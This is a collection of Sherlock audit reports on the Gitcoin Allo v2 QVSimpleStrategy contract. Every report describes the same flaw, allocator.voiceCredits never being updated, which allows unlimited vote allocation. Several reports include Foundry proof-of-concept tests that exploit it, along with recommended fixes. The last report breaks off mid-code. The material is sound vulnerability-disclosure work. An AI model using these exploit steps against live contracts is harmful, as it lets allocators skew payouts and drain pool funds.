Squirrel\n\nhigh\n\n# Allocators in `QVSimpleStrategy.sol` can allocate multiple times\nIn the `QVSimpleStrategy.sol` contract, allocators can allocate votes to a recipient repeatedly, potentially exceeding the `maxVoiceCreditsPerAllocator` threshold. The issue arises from the fact that the variable `allocators[_sender].voiceCredits` does not get updated in the code, resulting in it always being 0.\n \n\n## Vulnerability Detail\nThe vulnerability exists in the `QVSimpleStrategy.sol` and `QVBaseStrategy.sol` contracts, which allow allocators to allocate votes to recipients. The `maxVoiceCreditsPerAllocator` is intended to serve as a threshold, limiting the number of votes an allocator can assign to a recipient. However, the issue arises because there is no mechanism in place to update the variable `allocators[_sender].voiceCredits`, which is supposed to keep track of the allocated votes given by an allocator to a recipient.\n\nThis vulnerability becomes evident when the `_allocate` function is called. The code performs checks, including whether the allocator has voice credits left to allocate. However, the `allocator.voiceCredits` variable is never updated during the allocation process, rendering it ineffective. As a result, allocators can repeatedly allocate votes to one or multiple recipients without reaching the intended threshold limit\n\nthis check `if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();` \n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n ``` \nis used to check if allocator has Voice Credits Left to allocate but `allocator.voiceCredits` is always 0 because it did not get update during call to internal function\n`_qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);`.\n\n\nAs a result, allocators can repeatedly allocate votes to one or multiple recipients without reaching threshold limit.\n## Impact\nThis vulnerability allows allocators to allocate votes infinitely, bypassing the intended constraint set by `maxVoiceCreditsPerAllocator`. It could lead to an unfair distribution of votes and undermine the integrity of the voting system within the strategy. It can also have financial implications, as recipients receiving large votes may receive a disproportionately large share of pool funds.\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n ```\n\n## Code Snippet\n\n```solidity \nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107\n## Tool used\n\nManual Review\n\n## Recommendation\nit is recommended to implement a mechanism that updates the `allocators[_sender].voiceCredits` variable when allocators allocate votes.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/733.md"}} +{"title":"Allocator in ` QVSimpleStrategy` can vote infinite number of times because the number of already allocated voice credits are not updated","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# Allocator in ` QVSimpleStrategy` can vote infinite number of times because the number of already allocated voice credits are not updated\nAn allocator can allocate an infinite number of voice credits since the number of voice credits that he has already allocated is not tracked.\n\n\n## Vulnerability Detail\n\nIn `QVSimpleStrategy` users that are whitelisted as allocators can allocate voice credits to potential recipients to influence the % of the pool a recipient will get. The max number of voice credits that an allocator can allocate is determined by the variable `maxVoiceCreditsPerAllocator`. When allocating new voice credits, it is first checked in `_hasVoiceCreditsLeft()`, if the sum of voice credits an user has already allocated and the number of voice credits the user wants to allocate now exceeds `maxVoiceCreditsPerAllocator`. If it does, the function reverts. This is implemented to make sure that every user can only allocate a fixed max number of credits. The problem is that the number of already allocated credits by a user is not updated when allocating voice credits. This means a user can allocate an infinite number of voice credits as long as he does not allocate more than `maxVoiceCreditsPerAllocator` each time.\n\n## Impact\n\nAny allocator can allocate an infinite number of voice credits which renders the `maxVoiceCreditsPerAllocator` useless and enables allocators to manipulate the votes in favour of their preferred recipient.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIncrease the amount of voice credits an allocator has already allocated each time he calls _allocate.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/693.md"}} +{"title":"QV strategy missing allocators voiceCredits update","severity":"medium","body":"Boxy Clay Ladybug\n\nhigh\n\n# QV strategy missing allocators voiceCredits update\nMissing accounting of allocators `voiceCredits` state. \n## Vulnerability Detail\nIn `QVSimpleStrategy.sol` `allocate()` has a condition that checks if the allocator won't surpass `maxVoiceCreditsPerAllocator`, however, `allocator.voiceCredits` is never updated throughout the `allocate()` function which makes `maxVoiceCreditsPerAllocator` meaningless and allows for infinite allocation of voice credits. \n```solidity\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n### Coded POC\n1. Add the following getter function to `QVBaseStrategy.sol`\n```solidity\nfunction getAllocatorVoiceCredits(address allocator) external returns(uint256) {\n return allocators[allocator].voiceCredits;\n }\n```\n2. Add the following test function in `QVSimpleStrategy.t.sol`\n3. Execute with `forge test --match-test testWrongTotalVoiceCredits -vv`\n4. Output - 0 voiceCredits in the allocator struct state, although he has allocated\n```solidity\nfunction testWrongTotalVoiceCredits() public {\n\n address recipientId = __register_accept_recipient();\n\n vm.warp(registrationEndTime + 10);\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 9.9e17; // fund amount: 1e18 - fee: 1e17 = 9.9e17\n\n token.mint(pool_manager1(), 100e18);\n // set the allowance for the transfer\n vm.prank(pool_manager1());\n token.approve(address(allo()), 999999999e18);\n\n // fund pool\n vm.prank(pool_manager1());\n allo().fundPool(poolId, 1e18);\n\n vm.warp(allocationStartTime + 10);\n\n address allocator = randomAddress();\n vm.startPrank(pool_manager1());\n qvSimpleStrategy().addAllocator(allocator);\n bytes memory allocateData = __generateAllocation(recipientId, 10);\n\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, randomAddress());\n\n console.log(\"Total vocie credits\", qvSimpleStrategy().getAllocatorVoiceCredits(randomAddress()));\n \n \n\n vm.warp(allocationEndTime + 10);\n\n }\n```\n## Impact\nAllocator can cast infinite amount of voice credits\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\n## Tool used\n\nManual Review\nFoundry\n## Recommendation\nUpdate voiceCredits inside the Allocator struct","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/691.md"}} +{"title":"`QVSimpleStrategy._allocate()` does not update `allocator.voiceCredits` as expected, causing the upper limit of `maxVoiceCreditsPerAllocator` to be ineffective.","severity":"medium","body":"Tart Citron Platypus\n\nmedium\n\n# `QVSimpleStrategy._allocate()` does not update `allocator.voiceCredits` as expected, causing the upper limit of `maxVoiceCreditsPerAllocator` to be ineffective.\n\n## Vulnerability Detail\n\n`maxVoiceCreditsPerAllocator` is the maximum number of votes allowed for each allocator. This limit is enforced by the check of `_hasVoiceCreditsLeft()`.\n\nHowever, in the current implementation, the `_allocatedVoiceCredits`, i.e., `allocator.voiceCredits`, was never changed, which means it is always `0`.\n\nAs a result, the allocator can only vote up to `maxVoiceCreditsPerAllocator` each time, effectively giving an arbitrary number of votes to the recipient they choose.\n\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L103-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n/// @notice Allocate votes to a recipient\n/// @param _data The data\n/// @param _sender The sender of the transaction\n/// @dev Only the pool manager(s) can call this function\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n+ allocator.voiceCredits += voiceCreditsToAllocate;\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/658.md"}} +{"title":"QVSimpleStrategy: allocators can allocate unlimited votes to a recipient","severity":"medium","body":"Keen Amethyst Guppy\n\nmedium\n\n# QVSimpleStrategy: allocators can allocate unlimited votes to a recipient\nAllocators can allocate any count of voices to a recipient with no respect to the `maxVoiceCreditsPerAllocator` value. Allocated voices count affects funds distribution, so this leads to incorrect payouts for recipients.\n\n## Vulnerability Detail\nIn `QVSimpleStrategy` function `_allocate` checks that the allocator has voice credits left using function `_hasVoiceCreditsLeft` and passing there `allocator.voiceCredits`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L103-L124\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n\nBut the issue here is that `voiceCredits` is never updated and it always has value `0`, so the allocator always has voice credits, even if all voice credits are allocated.\n\nWhen allocator's fields are updated, only `voiceCreditsCastToRecipient` and `votesCastToRecipient` are updated, but `voiceCredits` is not updated and is always 0: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Impact\nAllocated voices count affects payout amount, so an attacker can significantly affect payouts:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n## Code Snippet\n\nHere is a test for `QVSimpleStrategyTest`. The test must revert because `maxVoiceCreditsPerAllocator` is set to 100, but it does not revert.\n\n```solidity\nfunction testRevert_allocate_mustRevertButNotReverts() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 10);\n\n bytes memory allocateData = __generateAllocation(recipientId, 99);\n\n vm.stopPrank();\n\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate `voiceCredits` when allocator allocates voices.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/629.md"}} +{"title":"Allocators can allocate as much as they want in `QVSimpleStrategy`","severity":"medium","body":"Energetic Berry Llama\n\nhigh\n\n# Allocators can allocate as much as they want in `QVSimpleStrategy`\nThere is a maximum limit for every allocator in the `QVSimpleStrategy`, but this limit only applies for each allocation call. Allocator can repetitively allocate voice credits up to maximum limit, and allocate as much as they want.\n\n## Vulnerability Detail\nAllocators allocate their `voiceCredits` to a recipient and the corresponding vote count of the recipient is calculated according to these `voiceCredits` in Quadratic Voting strategies. \nAllocators have a maximum limit to allocate which is determined during initialization with `maxVoiceCreditsPerAllocator` variable. Each allocator is tracked with `Allocator` struct.\n\n```solidity\n /// @notice The details of the allocator\n struct Allocator {\n // slot 0\n uint256 voiceCredits;\n // slots [1...n]\n mapping(address => uint256) voiceCreditsCastToRecipient;\n mapping(address => uint256) votesCastToRecipient;\n }\n```\n\n`QVSimpleStrategy::_allocate()` function validates if the allocator has enough `voiceCredits` left with the internal `_hasVoiceCreditsLeft()` function.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121)\n\n```solidity\nfile: QVsimpleStrategy.sol \n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n--> if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID(); //@audit allocator.voiceCredits is never updated. It is always 0.\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n`_allocate()` function passes `voiceCreditsToAllocate` and `allocator.voiceCredits` parameters to the `_hasVoiceCreditsLeft` function. And the `_hasVoiceCreditsLeft` function is below:\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6)\n\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\nThis function checks if the sum of the `_voiceCreditsToAllocate` (credits to be allocated) and `_allocatedVoiceCredits` (already allocated credits) is smaller than the max limit.\n\nThe reason for the vulnerability is that the already allocated voice credits are never updated. `allocator.voiceCreditsCastToRecipient` and `allocator.votesCastToRecipient` are updated in the [`QVBaseStrategy::_qv_allocate()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529C1-L530C69) function but [`allocator.voiceCredits`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121C59-L121C81) is never updated, and always 0.\n\n## Coded PoC\n\nYou can use the protocol's own setup to prove the PoC below. \n\\- Copy the code snippet and paste it into the `QVSimpleStrategy.t.sol` test file. \n\\- Run it with `forge test --match-test test_allocateAgainAndAgainWithMaxVoiceCredit -vvvv`\n\n```solidity\n //@audit Use the max voice credit and allocate repetitively.\n function test_allocateAgainAndAgainWithMaxVoiceCredit() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n // Add the allocator\n qvSimpleStrategy().addAllocator(allocator);\n \n // Start the allocation period\n vm.warp(allocationStartTime + 10);\n\n // Max voice credit is 100.\n // Create allocation data with max voice credit and another data with max voice credit + 1\n bytes memory allocateDataMaxCredit = __generateAllocation(recipientId, 100);\n bytes memory allocateDataMaxCreditPlus1 = __generateAllocation(recipientId, 101);\n vm.stopPrank();\n\n vm.startPrank(address(allo()));\n\n // Allocate with max credit.\n qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);\n\n // Allocate with max credit again.\n qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);\n\n // One more time :) https://www.youtube.com/watch?v=FGBhQbmPwH8\n qvSimpleStrategy().allocate(allocateDataMaxCredit, allocator);\n\n // We allocated 3 times with max voice credit.\n // Revert when we try only one time with max voice credit + 1.\n vm.expectRevert(abi.encodeWithSelector(INVALID.selector));\n qvSimpleStrategy().allocate(allocateDataMaxCreditPlus1, allocator);\n }\n```\n\nYou can see the test results below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n[PASS] test_allocateAgainAndAgainWithMaxVoiceCredit() (gas: 338291)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.58ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Impact\nAllocators can allocate as much as they want.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n\n```solidity\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144C1-L151C6)\n\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the `allocator.voiceCredits` too after allocation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/618.md"}} +{"title":"Whitelisted allocators in QVSimpleStrategy can vote an infinite number of times (~inf voice credits), breaking the voting system","severity":"medium","body":"Sneaky Tan Hippo\n\nhigh\n\n# Whitelisted allocators in QVSimpleStrategy can vote an infinite number of times (~inf voice credits), breaking the voting system\n\nIn QVSimpleStrategy, the intention is that allocators have the ability to assign votes (voice credits) across all their desired recipients, with the one caveat being that they cannot exceed `maxVoiceCreditsPerAllocator` in total. The issue is that the current implementation allows allocators to vote an infinite number of times, where they are able to vote up to `maxVoiceCreditsPerAllocator` every time they call the `_allocate` function. This breaks the entire voting system.\n\n## Vulnerability Detail\n\nWhen an allocator is voting for a recipient they will effectively call the `_allocate` function which is defined as follows:\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n}\n```\n\nTo check whether the allocator still has voice credits left to vote with, they call `_hasVoiceCreditsLeft`, which is defined as follows:\n```solidity\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n{\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n}\n```\n\nAs can be seen in these two function calls, `allocator.voiceCredits` is referenced as the previous amount that the allocator has voted in the past. However, this is never updated with the new amount that they have voted this call (`voiceCreditsToAllocate`), meaning they can continue calling this function & voting/allocating up to `maxVoiceCreditsPerAllocator` to a recipient per call, cheating the voting system.\n\n## Impact\n\nAllocators are able to vote an infinite number of times (~inf voice credits), which breaks the entire functionality of the QVSimpleStrategy contract. \n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAt the end of the call to `_allocate` in QVSimpleStrategy, `allocator.voiceCredits` should be updated using the following rule: `allocator.voiceCredits += voiceCreditsToAllocate;`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/590.md"}} +{"title":"Double voting issue in QV Strategy","severity":"medium","body":"Faithful Carrot Okapi\n\nhigh\n\n# Double voting issue in QV Strategy\nIn `_qv_allocate` function of `QVBaseStrategy` contract `allocator.voiceCredits` are not being incremented after allocator uses some of his `voiceCredits` to vote a recipient. Using this a malicious allocator can assign all the `poolAmount` to a single recipient.\n\n\n## Vulnerability Detail\n\n1. In the `QVSimpleStrategy`, allocators are intended to be limited to using a maximum of `maxVoiceCreditsPerAllocator` voice credits.\n2. This restriction is implemented in the `_allocate` function with the following line:\n ```solidity\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n ```\n3. However `allocator.voiceCredits` value is not updated after the allocator uses some credits to vote for a recipient.\n\n\n## Impact\n\nSo a malicious allocator can use an unlimited amount of `voiceCredits` to allocate the entire `poolAmount` to a single recipient.\n\n## Proof of concept\nInclude this test in `QVSimpleStrategy.t.sol`.\n```solidity\n function test_double_voting_issue() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n vm.warp(allocationStartTime + 10);\n\n uint MAX_ALLOCATIONS = qvSimpleStrategy().maxVoiceCreditsPerAllocator();\n\n bytes memory allocateData = __generateAllocation(recipientId, MAX_ALLOCATIONS);\n\n uint256 usedVoiceCreditsBefore = qvSimpleStrategy().allocators(allocator);\n assertEq(usedVoiceCreditsBefore, 0);\n\n vm.startPrank(address(allo()));\n // user was able to allocate maxVoiceCreditsPerAllocator twice\n qvSimpleStrategy().allocate(allocateData, allocator);\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n uint256 usedVoiceCreditsAfter = qvSimpleStrategy().allocators(allocator);\n // usedVoiceCredits is same before and after calling allocate, not incremented\n assertEq(usedVoiceCreditsAfter, usedVoiceCreditsBefore);\n }\n```\n\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n\n## Tool used\nManual Review\n\n## Recommendation\n```diff\ndiff --git a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\nindex 24a99d4..599cebd 100644\n--- a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\n+++ b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol\n@@ -528,6 +528,7 @@ abstract contract QVBaseStrategy is BaseStrategy {\n \n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n+ _allocator.voiceCredits += _voiceCreditsToAllocate;\n \n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/587.md"}} +{"title":"[H-02] Tracking of `voiceCredits` in `QVSimpleStrategy` is not done which can be used to allocate votes indefinitely.","severity":"medium","body":"Electric Tiger Bull\n\nhigh\n\n# [H-02] Tracking of `voiceCredits` in `QVSimpleStrategy` is not done which can be used to allocate votes indefinitely.\n\nTracking of `voiceCredits` in `QVSimpleStrategy` with `QVBaseStrategy::_qv_allocate()` is not done which can be used to allocate votes indefinitely when using `QVBaseStrategy`. \n\n## Vulnerability Detail\n\nWhen we are using `QVSimpleStrategy` which calls [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C4-L534C6) , there are some checks in [QVSimpleStrategy::_allocate()]() which is only effective when `voiceCredits` are properly tracked and subtracted when they are used up by `QVBaseStrategy::_qv_allocate()`. Which is not done.\n\nAs it stands now, allocator can call `allocate` as much as they want and allocate votes as long as the `voiceCreditsToAllocate` is =< `maxVoiceCreditsPerAllocator`.\n\n## Impact\n\nA allocator can knowingly or unknowingly call `allocate` when using `QVBaseStrategy` as strategy to allocate votes to a recipient indefinitely. Thus enabling the recipient to get very large majority in terms of votes, thus breaking the strategy.\n\nHere is a coded PoC depicting that allocate can be called multiple times as long as each call has `voiceCreditsToAllocate` =< `maxVoiceCreditsPerAllocator`.\n\nThis can be pasted into test/foundry/strategies/QVSimpleStrategy.t.sol. Here `maxVoiceCreditsPerAllocator` is defined with a value of 100.\n\n```javascript\n//File::test/foundry/strategies/QVSimpleStrategy.t.sol\n\n function test_allocate_VoiceTokensNotTracked() public {//@audit POC for QVSimpleStrategy-issue-1\n address recipientId = __register_accept_recipient();\n vm.warp(allocationStartTime + 10);\n\n address allocator = randomAddress();\n vm.startPrank(pool_manager1());\n qvSimpleStrategy().addAllocator(allocator);\n bytes memory allocateData = __generateAllocation(recipientId, 100);\n\n // vm.expectRevert(INVALID.selector);\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, allocator);\n\n uint256 votesBefore = qvSimpleStrategy().getRecipientVotes(recipientId);\n\n //do it again\n qvSimpleStrategy().allocate(allocateData, allocator);\n //can be as many as times as needed\n\n uint256 votesAfter = qvSimpleStrategy().getRecipientVotes(recipientId);\n\n //We can see that the votes of the recipient has increased.\n assertTrue(votesAfter > votesBefore); \n }\n```\nI have used a small helper function `getRecipientVotes()` to get the `totalVotesReceived` of a recipient.\n```javascript\n//In File::contracts/strategies/qv-base/QVBaseStrategy.sol\n function getRecipientVotes(address index)public view returns( uint256){\n Recipient memory recipient = recipients[index];\n return recipient.totalVotesReceived;\n }\n```\n\n## Code Snippet\n\nThe voice credits of allocator is not decremented by the votes used in [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C4-L534C6).\n\n```javascript\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote 